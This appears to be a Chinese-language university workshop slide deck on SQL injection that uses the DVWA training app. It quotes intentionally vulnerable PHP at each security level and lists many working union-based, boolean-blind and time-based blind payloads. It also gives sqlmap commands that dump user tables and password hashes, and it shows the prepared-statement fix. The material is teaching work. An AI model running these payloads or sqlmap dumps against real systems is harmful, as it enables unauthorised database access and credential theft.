Web Security

SQL Injection - SQLi

Who am I ?

大家好! 我是 

HrJ

現任 TDOHacker 創辦人、總召

現任 Leukocyte-Lab 營運長

現任 Athemaster 資安技術副總

曾任 HackNTN 資安 mentor

曾任 VSSecruity 資安顧問

曾任TDOH-CONF 資安研討會總召

曾任 COSCUP 2017 講者

曾任 OWASP Taiwan 2017 講者

曾任 資安通報年會2017 講者

課程練習準備

  • 安裝 DVWA-1.9

  • 安裝插件 Sql Inject me

  • 安裝插件 Tamper data

  • 安裝插件 hack bar

SQL 語法介紹

UPDATE:修改資料庫已存在資料

UPDATE account SET username=‘abcde’ WHERE uid=1;

從account這個表格中,將uid為1的username修改為abcde

SELECT:取得資料庫已存在資料

SELECT username FROM account WHERE uid=1;

​從account這個表格中,取得uid為1的username

​​

INSERT:新增⼀一筆資料

INSERT INTO account (username) VALUES (‘abcde’);

新增⼀一筆username為’abcde’的資料到account表格

 

DELETE:刪除⼀一筆資料

DELETE FROM account WHERE uid=1;

從account刪除uid=1的資料

資料隱碼攻擊

(SQL Injection)

假如有個登⼊入⾴面SQL指令是這樣

SELECT * FROM account WHERE username=‘’ AND password = ‘’

從 account表格中選擇

username=‘’ 且 password=‘’的資料

現在我們把PHP的參數丟進去

$sql = "SELECT * FROM account WHERE
username='".$_POST['username']."' AND password = '".$_POST['password']."'";
SELECT * FROM account WHERE 
username=‘demouser’ AND password = ‘demopass’;

如果今天使用者手賤,

輸⼊了一些奇怪的資料

$_POST[‘username’] = “1’ OR uid=‘1’/*”; 

$_POST[‘password’] = “*/ OR password=‘”;
$sql = “SELECT * FROM account WHERE username=‘."1' 
OR uid='1'/*".' AND password = ‘."*/ OR password=' ".'";

這⾏SQL到底執⾏起來是怎樣呢......

SELECT * FROM account WHERE

username='1' OR uid=‘1' OR password=‘’;

從account表格中選取username=‘1’或 uid=‘1’或password=‘’該列的所有資料

SQL injection - 資料庫隱碼攻擊

Low Security Level

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

1 or 1=1

1'or'1'='1

1'order by 1 --

1'order by 2 --

1'order by 3 --

1' and 1=2 union select 1,2 --

1' and 1=2 union select user(),database()  --

1' and 1=2 union select version(),database()  --

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --

1' and 1=2 union select 1,schema_name from information_schema.schemata --

1' and exists(select * from users) --

1' and exists(select last_name from users) -- ​

1' and 1=2 union select first_name,last_name from users --

SQL injection - 資料庫隱碼攻擊

Medium Security Level

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . mysqli_connect_error() . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

1' or 1=1 #

出現錯誤 or 空白畫面

1 or 1=1 --

基本上跟 Low 可以用的語法相似

差異只有在:

  • mysqli_real_escape_string : 針對特殊符號 \x00,\n,\r,\,’,”,\x1a 進行轉譯
  • 因為單引號被過濾,因此改成數字型的叉路,而盡量避免符號出現。
  • 後面註解段點符號可能為 -- 或是 # 不一定
  • -- 後面記得一定還要空一格空白

SQL injection - 資料庫隱碼攻擊

High Security Level

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

基本上跟 Low 可以用的語法相似

差異只有在:

  • 強制加上 LIMIT 1,欲限制只能顯示單筆資料。
  • 直接用註解的方式註解掉 LIMIT 1 就能繞過。
  • 後面註解段點符號可能為 -- 或是 # 不一定
  • -- 後面記得一定還要空一格空白

SQL injection - 資料庫隱碼攻擊

High Security Level

SQL injection (Blind)
- 資料庫隱碼盲注攻擊 -

盲注 (blind)?

< 與一般 SQLi差異? >

無法觀測

實際攻擊結果或是運行狀態

SQLi Blind
如同與網站玩猜數字

網站只會回覆你 Yes/NO

因此攻擊成功難度遠高於一般 SQLi 攻擊

因此要透過大量 Mysql 語句與網站進行問答獲取線索進行猜解

手動盲注參考步驟如下:

  • 判斷是否有 SQLi 漏洞,確認是 字元 還是 數字 型 
  • 猜解目前的資料庫名稱
  • 猜解目前資料庫中的 Table 名稱
  • 猜解目前 Table 中的欄位名稱
  • 猜解目標數據

SQL injection (Blind)
- 資料庫隱碼盲注攻擊

Low Security Level

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

嘗試 SQLi 攻擊後

只有兩種輸出結果

從此可判斷其為 :
SQLi (Blind)

判斷是否有 SQLi 漏洞

確認是 字元 還是 數字 型

第一步

字元型 &數字型 差異?

< 傳遞給資料庫的數據型態 >

 

//字元型
SELECT first_name, last_name FROM users WHERE user_id = '123';

//數字型
SELECT first_name, last_name FROM users WHERE user_id = 123;

1' and 1=1 #

1' and 1=2 #

因此判斷為字元型

猜解目前的資料庫名稱

第二步

首先,猜解資料庫長度

length(database())

依序猜解長度:
 

1' and length(database())=1 #  ... MISSING
1' and length(database())=2 #  ... MISSING
1' and length(database())=3 #  ... MISSING
.
.
.
.
1' and length(database())=X #  ... exists

1' and length(database())=1 #

1' and length(database())=4 #

知道長度後,因為是字元型,因此要利用 ASCII 猜資料庫名稱的每個單字

ascii(substr(databse(),x,y))

ascii() = 將字元轉換成數字

substr(${字串},${起始位置},${取幾個字})

EX: substr(asdfgh,2,4)
ECHO : ubst

1' and ascii(substr(database(),1,1))>97 #

ASCII 中的 "a" 的數值

1' and ascii(substr(database(),1,1))<122 #

ASCII 中的 "z" 的數值

二分法暴力猜解

1' and ascii(substr(database(),1,1))>97 #  ... exists

1' and ascii(substr(database(),1,1))<122 # ... exists

1' and ascii(substr(database(),1,1))<109 # ... exists

1' and ascii(substr(database(),1,1))<103 # ... exists

1' and ascii(substr(database(),1,1))<106 # ... exists

1' and ascii(substr(database(),1,1))<100 # ... MISSING 

1' and ascii(substr(database(),1,1))<101 # ... exists

1' and ascii(substr(database(),1,1))>100 # ... MISSING 

資料庫名稱:dvwa

 猜解目前數據庫中的 Table 名稱

第三步

首先,先猜猜有幾個 Table

(select count(table_name) from 
information_schema.tables where table_schema=database())=x

count(table_name)=計數用


1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #


1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

總共有 2 個 Table

猜完數量猜長度!

ascii(substr((select table_name 
from information_schema.tables where table_schema=database() limit 0,1),1,1))


limit ${index 開始點},${回傳幾筆} :
//index 從 0 開始

EX : 
testtable
index id name
0     1  aaaa 
1     2  baab 
2     3  caac 
3     4  daad 
4     5  eaae 

select * from testable limit 1,3

2  baab
3  caac
4  daad
1' and length(substr((select table_name from 
information_schema.tables where table_schema=database() limit 0,1),1))=1 # 
... MISSING


1' and length(substr((select table_name from 
information_schema.tables where table_schema=database() limit 0,1),1))=2 # 
... MISSING

.
.
.
.
.

1' and length(substr((select table_name from 
information_schema.tables where table_schema=database() limit 0,1),1))=x # 
... exists

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

第一個表的名稱長度為 9

最後,猜解資料庫名稱!

ascii(substr((select table_name from 
information_schema.tables where table_schema=database() limit 0,1),1,1))

//依序猜解 Table 名稱的每個字母

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

1' and ascii(substr((select table_name from 
information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
... exists

1' and ascii(substr((select table_name from 
information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #
... exists

1' and ascii(substr((select table_name from 
information_schema.tables where table_schema=database() limit 0,1),1,1))<109 #
... exists

.
.
.
.
.

1' and ascii(substr((select table_name from 
information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #
... MISSING

1' and ascii(substr((select table_name from 
information_schema.tables where table_schema=database() limit 0,1),1,1))<103 #
... MISSING

依序猜出兩個表的名稱

  • guestbook
  • users

 猜解目前 Table 中的欄位名稱

第四步

首先,猜解欄位數量

1' and (select count(column_name) from information_schema.columns where table_name='guestbook')=3 # 

1' and (select count(column_name) from information_schema.columns where table_name='users')=11 # 

莫名多出三個欄位啊...

再來,猜解欄位名稱長度

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #

猜解目標數據

第五步

同前幾步,採二分法處理。

除了以 Yes/no 作為判斷的 布林法盲注

某些狀況下不好以布林判斷時

可以改用

基於時間延遲的 SQLi 盲注攻擊

if (${布林法語句},sleep(),1)

語句差異:

1 and sleep(5) #
//沒有任何的延遲感


1' and sleep(5) #
//延遲 5 秒後才有結果出現
1' and if(length(database())=1,sleep(5),1) # 
... 無延遲感

1' and if(length(database())=2,sleep(5),1) # 
... 無延遲感

1' and if(length(database())=3,sleep(5),1) # 
... 無延遲感

1' and if(length(database())=4,sleep(5),1) # 
... 感覺延遲約 5 秒

猜解資料庫名稱長度

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) #
... 感覺延遲約 5 秒

1' and if(ascii(substr(database(),1,1))<122,sleep(5),1) #
... 感覺延遲約 5 秒

.
.
.

1' and if(ascii(substr(database(),1,1))<100,sleep(5),1) #
... 無延遲感

1' and if(ascii(substr(database(),1,1))>100,sleep(5),1) #
... 無延遲感

二分法猜解資料庫名稱

1' and if((select count(table_name) from 
information_schema.tables where table_schema=database() )=1,sleep(5),1) #
... 無延遲感

1' and if((select count(table_name) from 
information_schema.tables where table_schema=database() )=2,sleep(5),1) #
... 感覺延遲約 5 秒


猜解資料庫中的表的數量

1'  and if(length(substr((select table_name 
from information_schema.tables 
where table_schema=database() limit 0,1),1))=1,sleep(5),1) #
... 無延遲感

.
.
.

1'  and if(length(substr((select table_name 
from information_schema.tables 
where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
... 感覺延遲約 5 秒


猜解資料庫中的表名稱長度

1'  and if(length(substr((select table_name 
from information_schema.tables 
where table_schema=database() limit 0,1),1))=1,sleep(5),1) #
... 無延遲感

.
.
.

1'  and if(length(substr((select table_name 
from information_schema.tables 
where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
... 感覺延遲約 5 秒


猜解資料庫中的表的名稱長度

1' and if(ascii(substr((select table_name 
from information_schema.tables 
where table_schema=database() limit 0,1),1,1))>97,sleep(5),1) #
... 感覺延遲約 5 秒

1' and if(ascii(substr((select table_name 
from information_schema.tables 
where table_schema=database() limit 0,1),1,1))>97,sleep(5),1) #
... 感覺延遲約 5 秒
.
.
.

1' and if(ascii(substr((select table_name 
from information_schema.tables 
where table_schema=database() limit 0,1),1,1))>103,sleep(5),1) #
... 感覺延遲約 5 秒

1' and if(ascii(substr((select table_name 
from information_schema.tables 
where table_schema=database() limit 0,1),1,1))<103,sleep(5),1) #
... 感覺延遲約 5 秒


猜解資料庫中的表的名稱

1' and if((select count(column_name) 
from information_schema.columns 
where table_name= 'guestbook')=1,sleep(5),1) # 
... 無延遲感
.
.
.
1' and if((select count(column_name) 
from information_schema.columns 
where table_name= 'guestbook')=3,sleep(5),1) # 
... 延遲約5秒

猜解表中欄位的數量

1'  and if(length(substr((select column_name 
from information_schema.columns 
where table_name= 'guestbook' limit 0,1),1))=1,sleep(5),1) #
... 無延遲感
.
.
.
1'  and if(length(substr((select column_name 
from information_schema.columns 
where table_name= 'guestbook' limit 0,1),1))=10,sleep(5),1) #
... 延遲約5秒

猜解各欄位的名稱長度

1' and if(ascii(substr((select column_name 
from information_schema.columns 
where table_name= 'users' limit 0,1),1,1))>97,sleep(5),1) #
... 延遲約5秒
.
.
.
1' and if(ascii(substr((select column_name 
from information_schema.columns 
where table_name= 'users' limit 0,1),1,1))>99,sleep(5),1) #
... 無延遲感

1' and if(ascii(substr((select column_name 
from information_schema.columns 
where table_name= 'users' limit 0,1),1,1))<99,sleep(5),1) #
... 無延遲感

猜解各欄位的名稱

SQL injection (Blind)
- 資料庫隱碼盲注攻擊

Medium Security Level

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the
mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 
  • 改封包中的 id 值

  • 避開特殊符號,因為 mysql_real_escape_string 會作轉譯

SQL injection (Blind)
- 資料庫隱碼盲注攻擊

High Security Level

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
  • 改為用 cookie 傳遞 id
  • 攔截封包,將 cookie 中的值作更改
  • 本身自帶亂數延遲,造成 時間延遲的盲注攻擊很難實作
  • 語句強制添加 LIMIT 1 ,但是可用 # 或 -- 註解掉

SQL injection (Blind)
- 資料庫隱碼盲注攻擊

Impossible Security Level

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
  • 改用 PDO 實作資料庫操作,劃清資料跟操作的界線

Sqlmap 自動化攻擊工具

Sqlmap

sqlmap -u“[url]” 
--cookie=“[cookies]”
-b --current-db --current-user
--cookie : 因為需要登入,所以一定要讓 sqlmap 有 cookies 可用,不然跳不到需要跑的頁面

-u : 指定目標的 URL

-b : 取得 DBMS 的 banner

--current-db : 顯示目前的 DB

--current-user : 顯示目前的 User
sqlmap -u“[url]” --cookie=”[cookies]" 
--users --password”
--users : 列出 DBMS 用戶

--password : 暴力破解 DBMS 用戶的密碼 hash
sqlmap -u“[url]” --cookie=”[cookies]" 
--dbs
--dbs : 列出所有的 DB
sqlmap -u“[url]” --cookie=”[cookies]" 
-D dvwa --tables
-D : 要列出的 DB

--tables : 列出 DB 底下所有的 Table

sqlmap -u“[url]” --cookie=”[cookies]" 
-D dvwa --tables
-D : 要列出的 DB

--tables : 列出 DB 底下所有的 Table

sqlmap -u“[url]” --cookie=”[cookies]" 
-D dvwa -T users --columns
-T : 要列出的 Table

--columns : 列出 Table 底下所有的列

sqlmap -u“[url]” --cookie=”[cookies]" 
-D dvwa -T users-C user,password --dump
-C : 要列出的 列

-dump : 轉除 DBMS 的資料表項

Q & A

Copy of 澎科大資訊 Web Security - SQLi 20170506

By hrjk

Copy of 澎科大資訊 Web Security - SQLi 20170506

  • 785